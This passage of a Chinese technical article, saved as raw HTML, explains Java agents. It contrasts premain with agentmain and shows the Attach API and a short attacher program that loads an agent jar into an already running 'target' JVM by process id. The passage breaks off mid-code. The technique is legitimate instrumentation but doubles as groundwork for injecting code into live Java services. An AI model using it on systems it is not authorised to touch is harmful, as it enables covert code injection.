Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">当使用这种方法的时候，整个流程大致如下图所示：</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-backh="234" data-backw="315" data-ratio="0.7422303473491774" title="null" data-type="png" data-w="1094" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=90a83200&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1QvqSd0xcySFwlWjAGRV9Wa0pZ2mQFwm1BiaYFibdVq1QnItDWQXAUaV3mQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">然而这种方法存在一定的局限性——<strong style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">只能在启动时使用</strong><strong style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;padding: 3px 5px;line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">-javaagent</code>参数指定</strong>。在实际环境中，目标的JVM通常都是已经启动的状态，无法预先加载premain。相比之下，agentmain更加实用。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><br/></span></p><section data-tools="135编辑器" data-id="101761" data-color="#ff8124"><section style="margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;flex-direction: column;"><section style="box-sizing:border-box;width:40px;"><img data-ratio="1.3" style="box-sizing:border-box;width:100%;display:block;" data-type="png" data-w="60" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=4fcd077e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1Qvk2fI2GOo7NNjbXeyuvekAMmH5sS42mBASXuicVz4kPCsicIxntZ0oEIw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;display:flex;justify-content: center;align-items: center;margin-top: -20px;"><section style="display: inline-block;background: #ff8124;border-radius: 8px;color: #ffffff;padding: 4px;"><section style="border-width: 1px;border-style: solid;border-color: rgb(255, 129, 36);box-sizing: border-box;border-radius: 8px;"><section data-brushtype="text" style="font-size: 16px;padding: 6px 1em;letter-spacing: 2px;box-sizing: border-box;" hm_fix="306:540"><span style="font-size: 18px;"><strong>agentmain</strong></span></section></section></section></section></section></section></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">写一个</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">agentmain</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">和</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">premain</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">差不多，只需要在</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">META-INF/MANIFEST.MF</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">中加入</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Agent-Class:</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">即可。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">Manifest-Version</span>: 1<span class="code-snippet__selector-class">.0</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">Premain-Class</span>: <span class="code-snippet__selector-tag">com</span><span class="code-snippet__selector-class">.shiroha</span><span class="code-snippet__selector-class">.demo</span><span class="code-snippet__selector-class">.PreDemo</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">Agent-Class</span>: <span class="code-snippet__selector-tag">com</span><span class="code-snippet__selector-class">.shiroha</span><span class="code-snippet__selector-class">.demo</span><span class="code-snippet__selector-class">.AgentDemo</span></span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">不同的是，这种方法不是通过JVM启动前的参数来指定的，官方为了实现启动后加载，提供了</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Attach API</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">。Attach API 很简单，只有 2 个主要的类，都在 </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">com.sun.tools.attach</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> 包里面。着重关注的是</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">VitualMachine</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这个类。</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><br/></span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><br/></span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><section data-tools="135编辑器" data-id="101761" data-color="#ff8124"><section style="margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;flex-direction: column;"><section style="box-sizing:border-box;width:40px;"><img data-ratio="1.3" style="box-sizing:border-box;width:100%;display:block;" data-type="png" data-w="60" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=4fcd077e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1Qvk2fI2GOo7NNjbXeyuvekAMmH5sS42mBASXuicVz4kPCsicIxntZ0oEIw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;display:flex;justify-content: center;align-items: center;margin-top: -20px;"><section style="display: inline-block;background: #ff8124;border-radius: 8px;color: #ffffff;padding: 4px;"><section style="border-width: 1px;border-style: solid;border-color: rgb(255, 129, 36);box-sizing: border-box;border-radius: 8px;"><section data-brushtype="text" style="font-size: 16px;padding: 6px 1em;letter-spacing: 2px;box-sizing: border-box;" hm_fix="306:540"><span style="font-size: 18px;"><strong>VirtualMachine</strong></span></section></section></section></section></section></section></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">字面意义表示一个Java 虚拟机，也就是程序需要监控的目标虚拟机，提供了获取系统信息、 </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">loadAgent</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">，</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Attach</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> 和 </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Detach</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> 等方法，可以实现的功能可以说非常之强大 。该类允许我们通过给attach方法传入一个jvm的pid(进程id)，远程连接到jvm上 。代理类注入操作只是它众多功能中的一个，通过</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">loadAgent</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">方法向jvm注册一个代理程序agent，在该agent的代理程序中会得到一个</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Instrumentation</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">实例。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">具体的用法看一下官方给的例子大概就理解了：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__comment">// com.sun.tools.attach.VirtualMachine</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 下面的示例演示如何使用VirtualMachine:</span></span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// attach to target VM</span></span></code><code><span class="code-snippet_outer">        VirtualMachine vm = VirtualMachine.attach(<span class="code-snippet__string">&#34;2177&#34;</span>);  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// start management agent</span></span></code><code><span class="code-snippet_outer">        Properties props = <span class="code-snippet__keyword">new</span> Properties();</span></code><code><span class="code-snippet_outer">        props.put(<span class="code-snippet__string">&#34;com.sun.management.jmxremote.port&#34;</span>, <span class="code-snippet__string">&#34;5000&#34;</span>);</span></code><code><span class="code-snippet_outer">        vm.startManagementAgent(props);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// detach</span></span></code><code><span class="code-snippet_outer">        vm.detach();</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 在此示例中，我们附加到由进程标识符2177标识的Java虚拟机。然后，使用提供的参数在目标进程中启动JMX管理代理。最后，客户端从目标VM分离。</span></span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">下面列几个这个类提供的方法：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">abstract</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">VirtualMachine</span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 获得当前所有的JVM列表</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> List&lt;VirtualMachineDescriptor&gt; <span class="code-snippet__title">list</span>(<span class="code-snippet__params"></span>)</span> { ... }</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 根据pid连接到JVM</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> VirtualMachine <span class="code-snippet__title">attach</span>(<span class="code-snippet__params">String id</span>)</span> { ... }</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 断开连接</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">abstract</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">detach</span>(<span class="code-snippet__params"></span>)</span> {}</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 加载agent，agentmain方法靠的就是这个方法</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">loadAgent</span>(<span class="code-snippet__params">String agent</span>)</span> { ... }</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">根据提供的api，可以写出一个</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">attacher</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">，代码如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.tools.attach.AgentInitializationException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.tools.attach.AgentLoadException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.tools.attach.AttachNotSupportedException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.tools.attach.VirtualMachine;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.IOException;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">AgentMain</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> void main(<span class="code-snippet__type">String</span>[] args) <span class="code-snippet__keyword">throws</span> <span class="code-snippet__type">IOException</span>, <span class="code-snippet__type">AttachNotSupportedException</span>, <span class="code-snippet__type">AgentLoadException</span>, <span class="code-snippet__type">AgentInitializationException</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">String</span> id = args[<span class="code-snippet__number">0</span>];</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">String</span> jarName = args[<span class="code-snippet__number">1</span>];</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">System</span>.out.<span class="code-snippet__built_in">println</span>(<span class="code-snippet__string">&#34;id ==&gt; &#34;</span> + id);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">System</span>.out.<span class="code-snippet__built_in">println</span>(<span class="code-snippet__string">&#34;jarName ==&gt; &#34;</span> + jarName);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">VirtualMachine</span> virtualMachine = <span class="code-snippet__type">VirtualMachine</span>.attach(id);</span></code><code><span class="code-snippet_outer">        virtualMachine.loadAgent(jarName);</span></code><code><span class="code-snippet_outer">        virtualMachine.detach();</span></code><code><span class="code-snippet_outer">        </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">System</span>.out.<span class="code-snippet__built_in">println</span>(<span class="code-snippet__string">&#34;ends&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">过程非常简单：通过pid attach到目标JVM -&gt; 加载agent -&gt; 解除连接。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">现在来测试一下agentmain：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> 